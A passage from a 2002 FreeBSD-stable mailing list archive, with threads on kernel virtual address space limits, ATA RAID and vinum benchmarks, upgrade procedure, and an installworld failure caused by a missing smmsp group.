semi-directly, and then making all the paging structures not used for the kernel itself, swappable. Even so, your KVA is restricted by whatever your bank size is, and you can't use it directly (e.g. KVA + UVA + bank_region <= 4G). You really, really ought to look at the books I recommended, if you are confused about why you can only use 4G with a 32 bit processor and FreeBSD, without additional heroic work. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 13:41:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id 6D6B437B4AE for ; Mon, 22 Apr 2002 13:41:01 -0700 (PDT) Received: from simoeon.sentex.net (pyroxene.sentex.ca [199.212.134.18]) by smtp1.sentex.ca (8.12.3/8.12.3) with ESMTP id g3MKMPff079659; Mon, 22 Apr 2002 16:22:25 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 22 Apr 2002 16:15:38 -0400 To: stable@freebsd.org From: Mike Tancsa Subject: new ata code and vinum Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG While putting together a new news server, I did some quick tests on some of the new ATA hardware. So far so good in tests. It will be interesting to see how it takes a pounding with 30Mb/s being sent to it 24hrs a day :) Using PIII, 1G, 1G of RAM HighPoint RocketRAID 404 (370 chipset), ahc 2940U -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU ad8 1500 40395 91.5 39973 51.5 14251 18.0 28391 91.5 41257 20.4 192.0 1.1 da0 1500 17198 40.2 15052 18.0 8030 9.9 15768 50.6 15846 7.4 297.8 1.8 vinumS 1500 32865 78.5 31383 42.1 10993 15.0 24679 83.5 32473 20.8 505.4 3.4 ar0 1500 47033 88.2 43172 53.7 16090 21.2 28676 93.5 44640 24.3 296.7 1.9 vinumI 1500 47819 89.5 43188 58.6 13715 18.9 20767 69.5 32029 19.0 365.6 2.0 The the drives being da0: Fixed Direct Access SCSI-2 device on ahc0: da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da1: Fixed Direct Access SCSI-2 device ar1: 114483MB [14594/255/63] status: READY subdisks: 0 READY ad8: 57241MB [116301/16/63] at ata4-master UDMA100 1 READY ad10: 57241MB [116301/16/63] at ata5-master UDMA100 ad8 was just a drive off the RocketRaid controllers, and ar0 being a stripe of the 2 drives. vinumI = vinum with 2 IDE drives (both on single channels) vinumS = vinum with 2 of the SCSI drives. ---Mike -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 13:50:48 2002 Delivered-To: freebsd-stable@freebsd.org Received: from postal2.es.net (postal2.es.net [198.128.3.206]) by hub.freebsd.org (Postfix) with ESMTP id 436DB37B6A7 for ; Mon, 22 Apr 2002 13:48:56 -0700 (PDT) Received: from ptavv.es.net ([198.128.4.29]) by postal2.es.net (Postal Node 2) with ESMTP id GQF37091; Mon, 22 Apr 2002 08:24:00 -0700 Received: from ptavv (localhost [127.0.0.1]) by ptavv.es.net (Postfix) with ESMTP id C3CA65D04; Mon, 22 Apr 2002 08:23:58 -0700 (PDT) To: "Dennis Pedersen" Cc: "Norbert Augenstein" , freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf In-reply-to: Your message of "Sun, 21 Apr 2002 22:32:24 +0200." <027801c1e973$a69184f0$0301a8c0@dpws> Date: Mon, 22 Apr 2002 08:23:58 -0700 From: "Kevin Oberman" Message-Id: <20020422152358.C3CA65D04@ptavv.es.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: "Dennis Pedersen" > Date: Sun, 21 Apr 2002 22:32:24 +0200 > Sender: owner-freebsd-stable@FreeBSD.ORG > > > ----- Original Message ----- > From: "Norbert Augenstein" > To: "Steve Kargl" > Cc: ; > Sent: Sunday, April 21, 2002 10:26 PM > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > from rc.conf > > > > On Sun, 21 Apr 2002 12:42:50 -0700 > > Steve Kargl wrote: > > > > > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > > > > > > > After running the cmd above the ldonfig -r shows the entry. > > > > What best thing to do now? , migrate back to STABLE (and avoid any > other > > > > strange problems) or try to fix the current install? (it still wont > accept > > > > the ifconfig statements in rc.conf) > > > > > > > > > > cvsup should now work. I would go back to FreeBSD-stable. > > > Do this by changing to tag=RELENG_4. From the above, I > > > take it you have to manually run ifconfig to get your > > > machine on the net. Once connect, get update your tree > > > and do the standard sequence of > > > > > > make buildworld > > > make buildkernel KERNCONF=MYKERNEL > > > make installkernel > > > make installworld > > > mergemaster > > > reboot > > > > > > And, yes I know some people recommend a reboot to > > > single user mode. > > > > and a reboot after make installkernel to use the new kernel for > installworld > > (installworld could fail if you dont) > > Dumping the box into single user wont do the trick? , it has to be a reboot? > (Im doing the update part all over again and i want to do it right this time > ;)) No, dropping into single-user mode will NOT do the trick. The whole point is to make REALLY sure that you have a running kernel BEFORE you blow away the existing user land with the installworld. If the new kernel won't boot, it's pretty easy to back up to kernel.old and modules.old and try to figure out whet went wrong. If the kernel is broken and you have already installed world, you have the potential of having no choice but to rebuild the system from scratch, not something you want to do. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 14:23:33 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id E4D6D37BA7E; Mon, 22 Apr 2002 14:21:28 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 45DBB103333; Mon, 22 Apr 2002 10:45:45 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id 96A8E10332E; Mon, 22 Apr 2002 10:45:44 -0300 (ADT) Date: Mon, 22 Apr 2002 10:45:44 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC3D8A0.3981857A@mindspring.com> Message-ID: <20020422104250.E1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG First, alot of this stuff is slowly sinking in ... after repeatedly reading it and waiting for the headache to disapate:) But, one thing that I'm still not clear on ... If I have 4Gig of RAM in a server, does it make any sense to have swap space on that server also? Again, from what I'm reading, I have a total of 4Gig *aggregate* to work with, between RAM and swap, but its right here that I'm confused right now ... basically, the closer to 4Gig of RAM you get, the closer to 0 of swap you can have? On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > > No, there's no stats collected on this stuff, because it's a > > > pretty obvious and straight-forward thing: you have to have a > > > KVA space large enough that, once you subtract out 4K for each > > > 4M of physical memory and swap (max 4G total for both), you > > > end up with memory left over for the kernel to use, and your > > > limits are such that the you don't run out of PTEs before you > > > run out of mbufs (or whatever you plan on allocating). > > > > ... and translated to english, this means? :) > > > > Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for > > a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for > > ... what? > > > > So, I've theoretically got 8184M of VM available for the kernel to use > > right now? what are PTEs and how do I know how many I have right now? as > > for mbufs, I've currently got: > > No. > > Each 4M of physical memory takes 4K of statically allocated KVA. > Each 4M of backing store takes 4K of statically allocated KVA. > > The definition of "backing store" includes: > > o All dirty data pages in swap > o All dirty code pages in swap > o All clean data pages in files mapped into process or kernel > address space > o All clean code pages for executables mapped into process or > kernel address space > o Reserved mappings for copy-on-write pages that haven't yet > been written > > A PTE is a "page table entry". It's the 32 bit value in the page > table for each address space (one for the kernel, one per process). > See the books I posted the titles of for more details, or read the > Intel processor PDF's from their developer web site. > > > > jupiter> netstat -m > > 173/1664/61440 mbufs in use (current/peak/max): > > 77 mbufs allocated to data > > 96 mbufs allocated to packet headers > > 71/932/15360 mbuf clusters in use (current/peak/max) > > 2280 Kbytes allocated to network (4% of mb_map in use) > > 0 requests for memory denied > > 0 requests for memory delayed > > 0 calls to protocol drain routines > > > > So how do I find out where my PTEs are sitting at? > > The mbufs are only important because most people allocate a > large number of mbufs up front for networking applications, or > for alrge numbers of users with network applications that will > need resources in order to be able to actually run. There's > also protocol control blocks and other allocation that occur > up front, based on the maximum number of system open files > and sockets you intend to permit. > > The user space stuff is generally a lot easier to calculate: > do a "ps -gaxl", round each entry in the "VSZ" column up to > 4M, divide by 4K, and that tells you how many 4K units you > have allocated for user space. For kernel space, the answer > is that there are some allocated at boot time, (120M worth), > and then the kernel map is grown, as necessary, until it hits > the KVA space limit. If you plan on using up every byte, then > divide your total KVA space by 4K to get the number of 4K pages > allocated there. > > For the kernel stuff... you basically need to know where the > kernel puts how much memory, based on the tuning parameters > you use on it. > > -- Terry > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 14:29: 7 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by hub.freebsd.org (Postfix) with ESMTP id 6121637BC61 for ; Mon, 22 Apr 2002 14:28:11 -0700 (PDT) Received: (from jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id g3MIi8B22335 for freebsd-stable@FreeBSD.ORG; Mon, 22 Apr 2002 11:44:08 -0700 (PDT) Date: Mon, 22 Apr 2002 11:44:07 -0700 From: JJ Behrens To: freebsd-stable@FreeBSD.ORG Subject: Re: *** HEAD'S UP *** Message-ID: <20020422114407.B21612@alicia.nttmcl.com> Mail-Followup-To: JJ Behrens , freebsd-stable@FreeBSD.ORG References: <5815.1019282969@verdi.nethelp.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from andyf@speednet.com.au on Sun, Apr 21, 2002 at 09:37:16AM +1000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I strongly disagree with your disagreement :) > > To me, it makes more sense explicitly include choices for anything you > care about, whether they are defaults or not. I strongly disagree with your disagreement of his disagreement :)) Citing /etc/defaults/rc.conf once more: # The ${rc_conf_files} files should only contain values which override # values set in this file. If you're going to advocate putting everything that matters into /etc/rc.conf, I ask that you also advocate changing this comment! -jj -- Users of C++ should consider hanging themselves rather than shooting their legs off--it's best not to use C++ simply as a better C. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 15:17:51 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fed1mtao02.cox.net (fed1mtao02.cox.net [68.6.19.243]) by hub.freebsd.org (Postfix) with ESMTP id 7B19837C931 for ; Mon, 22 Apr 2002 15:15:06 -0700 (PDT) Received: from horse.cox.net ([68.8.219.26]) by fed1mtao04.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020422055237.LFDC12588.fed1mtao04.cox.net@horse.cox.net> for ; Mon, 22 Apr 2002 01:52:37 -0400 Message-Id: <5.1.0.14.2.20020421225411.00a78cf0@crash.cts.com> X-Sender: getjazzed@pop.west.cox.net X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 21 Apr 2002 22:54:29 -0700 To: freebsd-stable@FreeBSD.org From: Doug Reese Subject: subscribe Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 15:39:30 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe120.worldonline.dk (fe120.worldonline.dk [212.54.64.140]) by hub.freebsd.org (Postfix) with SMTP id 53F7A37BA4D for ; Mon, 22 Apr 2002 15:25:49 -0700 (PDT) Received: (qmail 8006 invoked by uid 0); 22 Apr 2002 20:38:28 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe120.worldonline.dk with SMTP; 22 Apr 2002 20:38:28 -0000 Message-ID: <00b701c1ea3d$9d9029e0$0301a8c0@dpws> From: "Dennis Pedersen" To: "Norbert Augenstein" Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws><016701c1e945$a23dd120$0301a8c0@dpws><20020421091928.A15029@troutmask.apl.washington.edu><01fa01c1e959$a77af960$0301a8c0@dpws><20020421110309.A15494@troutmask.apl.washington.edu><022c01c1e961$1aa07f30$0301a8c0@dpws><20020421113325.A15744@troutmask.apl.washington.edu><024b01c1e966$66638a20$0301a8c0@dpws><20020421124250.A16130@troutmask.apl.washington.edu><20020421222621.7f88138f.norbert@augenstein.net><027801c1e973$a69184f0$0301a8c0@dpws> <20020421231544.1a890289.norbert@augenstein.net> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Mon, 22 Apr 2002 22:38:09 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Norbert Augenstein" To: "Dennis Pedersen" Sent: Sunday, April 21, 2002 11:15 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, 21 Apr 2002 22:32:24 +0200 > "Dennis Pedersen" wrote: > > > > > ----- Original Message ----- > > From: "Norbert Augenstein" > > To: "Steve Kargl" > > Cc: ; > > Sent: Sunday, April 21, 2002 10:26 PM > > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > > from rc.conf > > > > > > > On Sun, 21 Apr 2002 12:42:50 -0700 > > > Steve Kargl wrote: > > > > > > > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > > > > > > > > > > After running the cmd above the ldonfig -r shows the entry. > > > > > What best thing to do now? , migrate back to STABLE (and avoid any > > other > > > > > strange problems) or try to fix the current install? (it still wont > > accept > > > > > the ifconfig statements in rc.conf) > > > > > > > > > > > > > cvsup should now work. I would go back to FreeBSD-stable. > > > > Do this by changing to tag=RELENG_4. From the above, I > > > > take it you have to manually run ifconfig to get your > > > > machine on the net. Once connect, get update your tree > > > > and do the standard sequence of > > > > > > > > make buildworld > > > > make buildkernel KERNCONF=MYKERNEL > > > > make installkernel > > > > make installworld > > > > mergemaster > > > > reboot > > > > > > > > And, yes I know some people recommend a reboot to > > > > single user mode. > > > > > > and a reboot after make installkernel to use the new kernel for > > installworld > > > (installworld could fail if you dont) > > > > Dumping the box into single user wont do the trick? , it has to be a reboot? > > (Im doing the update part all over again and i want to do it right this time > > ;)) > > > > Regards, > > Dennis > > when you installkernel your kernel will be renamed to kernel.old(or kernel.GENERIC) and the new-kernel is "kernel" then, this will be booted by default. > only if you reboot, your new "kernel" will be used. > a reboot after installkernel is highly recommended. > see handbook for more details. Okai now i followed the howto and did EXACTLY as they said (and rebooted after installkernel) but during the installworld it stops :( Then i simply deleted the intere /usr/src and cvsuped it once again, did the hole thing over - same error make installworld mkdir -p /tmp/install.696 for prog in [ awk cat chflags chmod chown date echo egrep find grep ln make makewhatis mtree mv perl rm sed sh sysctl test true uname wc zic; do cp `which $prog` /tmp/install.696; done cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj MACHINE_ARCH=i386 MACHINE=i386 OBJFORMAT_PATH=/usr/obj/usr/src/i386/usr/libexec PERL5LIB=/usr/obj/usr/src/i386/usr/libdata/perl/5.00503 GROFF_BIN_PATH=/usr/obj/usr/src/i386/usr/bin GROFF_FONT_PATH=/usr/obj/usr/src/i386/usr/share/groff_font GROFF_TMAC_PATH=/usr/obj/usr/src/i386/usr/share/tmac PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u sr/src/i386/usr/games:/tmp/install.696 make -f Makefile.inc1 reinstall -------------------------------------------------------------- >>> Making hierarchy -------------------------------------------------------------- cd /usr/src; make -f Makefile.inc1 hierarchy cd /usr/src/etc; make distrib-dirs set - `grep "^[a-zA-Z]" /usr/src/etc/locale.deprecated`; while [ $# -gt 0 ] ; do for dir in /usr/share/locale /usr/share/nls /usr/local/share/nls; do test -d /${dir} && cd /${dir}; test -L "$2" && rm -rf "$2"; test \! -L "$1" && test -d "$1" && mv "$1" "$2"; done; shift; shift; done mtree -deU -f /usr/src/etc/mtree/BSD.root.dist -p / mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var mtree: line 63: unknown group smmsp *** Error code 1 Stop in /usr/src/etc. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Anyone got a hint here? (as i said in now to the update thing but i have read the handbook from an end so im not completely lost) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 16:20:16 2002 Delivered-To: freebsd-stable@freebsd.org Received: from boromir.vpop.net (dns1.vpop.net [206.117.147.2]) by hub.freebsd.org (Postfix) with ESMTP id E93A837B437 for ; Mon, 22 Apr 2002 16:12:54 -0700 (PDT) Received: from vpop.net (bilbo.vpop.net [65.103.33.41]) by boromir.vpop.net (8.11.6/8.11.6) with ESMTP id g3MNCpF73998 for ; Mon, 22 Apr 2002 16:12:51 -0700 (PDT) (envelope-from mreimer@vpop.net) Message-ID: <3CC4992E.8030409@vpop.net> Date: Mon, 22 Apr 2002 18:13:50 -0500 From: Matthew Reimer Organization: VPOP Technologies, Inc. User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020316 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: ATAPI CD on -stable can't read VCD Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm not able to read a VCD with FreeBSD-stable. Attempting to mount the CD causes this error: Apr 22 17:57:37 bilbo /kernel: acd0: READ_BIG - ILLEGAL REQUEST asc=0x64 ascq=0x00 error=0x00 Xine figures out how many tracks there are, but attempting to play any of them fails with "read error 22" (EINVAL). I'm using the VCD image at http://www.vcdimager.org/pub/vcdimager/examples/test_svcd/ for testing. I think this is a regression, because a couple of months ago I could play VCD's just fine. Can anyone help? I'm willing to help debug/test/instrument. Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 16:28: 9 2002 Delivered-To: freebsd-stable@freebsd.org Received: from deathrow.mail.pas.earthlink.net (deathrow.mail.pas.earthlink.net [207.217.120.19]) by hub.freebsd.org (Postfix) with ESMTP id DA43837BD58; Mon, 22 Apr 2002 16:21:08 -0700 (PDT) Received: from gull.mail.pas.earthlink.net ([207.217.120.84] helo=gull.prod.itd.earthlink.net) by deathrow.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 16zb0l-0006CL-00; Mon, 22 Apr 2002 03:25:31 -0700 Received: from pool0081.cvx40-bradley.dialup.earthlink.net ([216.244.42.81] helo=mindspring.com) by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zb0G-0002Du-00; Mon, 22 Apr 2002 03:25:00 -0700 Message-ID: <3CC3E4C1.6A9893E8@mindspring.com> Date: Mon, 22 Apr 2002 03:24:01 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jeroen Ruigrok/asmodai Cc: "Marc G. Fournier" , freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020420190408.O30724-100000@mail1.hub.org> <20020422060449.GE54143@daemon.ninth-circle.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jeroen Ruigrok/asmodai wrote: > Take a look at this: > http://www.freebsd.org/cgi/getmsg.cgi?fetch=245329+248644+/usr/local/www/db/text/2001/freebsd-hackers/20010624.freebsd-hackers This is actually no longer valid, since there have been changes to both the PDE caclcualtions and the kernel base definition to try and make it "more automatic" the change the KVA space size. At the time of the referenced posting, the modifications necessary were to /sys/conf/ldscript.i386 and /sys/i386/include/pmap.h. David also neglected to document how he calculated the "511", which is actually "511 for a UP system, 510 for an SMP system", which is to divide the kernbase by 0x00400000, after subtracting 0x00100000, and then subtracting the recursive entry out of the total. You also have to subtract out the private entries (if any) for SMP, etc.. Basically, you have to calculate the number of descriptor entries required to map the entire KVA space as 4K pages from 1K of 4K page tables (1K worth of entries in a 4K page descriptor table for the address space). Of course, now everyone is going to say "how do I... how do I...", wanting one of the six ways you have to do it, based on the FreeBSD version and/or intermediate release (-release? -stable? -security? -some-date-here?), rather than figuring out the answer based on a single known release. The other issue here is that the number 1 reason for wanting to dick around with this is to be able to add more physical memory, and to do that successfully, you have to know a hell of a lot more about tuning FreeBSD than reading the happy-fun "tuning" manual page can ever teach you, without you understanding how the OS actually does its thing at a low level. I personally consider the "tuning" man page as just a knee-jerk reaction to bad publicity resulting from naieve benckmarking. IMO, it's much better to just give elliptical clues, and then leave the job to the people who can follow the clues and learn enough that they not only get the right answer, but then end up knowing enough about *why* it's the right answer to be able to do the other required tuning. If FreeBSD would ever sit still long enough for someone to get a book out, there's probably be a book on the subject (Kirk has been working on one for a year now, according to several people, called "The Design and Implementation of the FreeBSD Operating System"; no, I don't know what version it's supposed to apply to); IMO, an architect should set some things in stone, and leave them there long enough that documentation doesn't immediately go out of date. It's a hazard of Open Source projects, in general, that there are so many people hacking on whatever they think is cool that nothing ever really gets built to a long term design plan that's stable enough that a book stands a chance of having a 1 year lifetime. Basically, it'll boil down to paying someone who "knows where the bodies are buried" to do the work for you, if you want to get more than just a hack job. 8-(. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 16:37:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from omta01.mta.everyone.net (sitemail3.everyone.net [216.200.145.37]) by hub.freebsd.org (Postfix) with ESMTP id 39EBE37B852 for ; Mon, 22 Apr 2002 16:33:58 -0700 (PDT) Received: from sitemail.everyone.net (dsnat [216.200.145.62]) by omta01.mta.everyone.net (Postfix) with ESMTP id D40991C50C6 for ; Mon, 22 Apr 2002 16:33:58 -0700 (PDT) Received: by sitemail.everyone.net (Postfix, from userid 99) id 8D5CF36F9; Mon, 22 Apr 2002 16:33:58 -0700 (PDT) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Date: Mon, 22 Apr 2002 16:33:58 -0700 (PDT) From: S.V.Burlington To: freebsd-stable@freebsd.org Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Reply-To: svburlinton@maximumbsd.com X-Originating-Ip: [209.144.218.242] Message-Id: <20020422233358.8D5CF36F9@sitemail.everyone.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Try running installworld after you have mounted your devices w/ the regular options (in fstab). For example: Try only using rw options for your (local) hard drive device mount points. _____________________________________________________________ Sign up for FREE email at http://www.maximumbsd.com _____________________________________________________________ Run a small business? Then you need professional email like you@yourbiz.com from Everyone.net http://www.everyone.net?tag To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 16:50:13 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by hub.freebsd.org (Postfix) with ESMTP id 40B7437B430 for ; Mon, 22 Apr 2002 16:49:33 -0700 (PDT) Received: (from jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id g3MNnVA07916; Mon, 22 Apr 2002 16:49:31 -0700 (PDT) Date: Mon, 22 Apr 2002 16:49:31 -0700 From: JJ Behrens To: Dennis Pedersen , freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020422164931.A7427@alicia.nttmcl.com> Mail-Followup-To: JJ Behrens , Dennis Pedersen , freebsd-stable@FreeBSD.ORG References: <010401c1e93b$d39b30f0$0301a8c0@dpws><016701c1e945$a23dd120$0301a8c0@dpws><20020421091928.A15029@troutmask.apl.washington.edu><01fa01c1e959$a77af960$0301a8c0@dpws><20020421110309.A15494@troutmask.apl.washington.edu><022c01c1e961$1aa07f30$0301a8c0@dpws><20020421113325.A15744@troutmask.apl.washington.edu><024b01c1e966$66638a20$0301a8c0@dpws><20020421124250.A16130@troutmask.apl.washington.edu><20020421222621.7f88138f.norbert@augenstein.net><027801c1e973$a69184f0$0301a8c0@dpws> <20020421231544.1a890289.norbert@augenstein.net> <00b701c1ea3d$9d9029e0$0301a8c0@dpws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <00b701c1ea3d$9d9029e0$0301a8c0@dpws>; from mlists@daydreamer.dk on Mon, Apr 22, 2002 at 10:38:09PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Norbert, Is there something that I'm not seeing here, or is this just another example of a missing smmsp user? If so, please see /usr/src/UPDATING--it'll explain that you need to add an smmsp user before running "make installworld". Cheers, -jj On Mon, Apr 22, 2002 at 10:38:09PM +0200, Dennis Pedersen wrote: > > > > ----- Original Message ----- > From: "Norbert Augenstein" > To: "Dennis Pedersen" > Sent: Sunday, April 21, 2002 11:15 PM > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > from rc.conf > > > > On Sun, 21 Apr 2002 22:32:24 +0200 > > "Dennis Pedersen" wrote: > > > > > > > > ----- Original Message ----- > > > From: "Norbert Augenstein" > > > To: "Steve Kargl" > > > Cc: ; > > > Sent: Sunday, April 21, 2002 10:26 PM > > > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept > setting > > > from rc.conf > > > > > > > > > > On Sun, 21 Apr 2002 12:42:50 -0700 > > > > Steve Kargl wrote: > > > > > > > > > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > > > > > > > > > > > > > After running the cmd above the ldonfig -r shows the entry. > > > > > > What best thing to do now? , migrate back to STABLE (and avoid any > > > other > > > > > > strange problems) or try to fix the current install? (it still > wont > > > accept > > > > > > the ifconfig statements in rc.conf) > > > > > > > > > > > > > > > > cvsup should now work. I would go back to FreeBSD-stable. > > > > > Do this by changing to tag=RELENG_4. From the above, I > > > > > take it you have to manually run ifconfig to get your > > > > > machine on the net. Once connect, get update your tree > > > > > and do the standard sequence of > > > > > > > > > > make buildworld > > > > > make buildkernel KERNCONF=MYKERNEL > > > > > make installkernel > > > > > make installworld > > > > > mergemaster > > > > > reboot > > > > > > > > > > And, yes I know some people recommend a reboot to > > > > > single user mode. > > > > > > > > and a reboot after 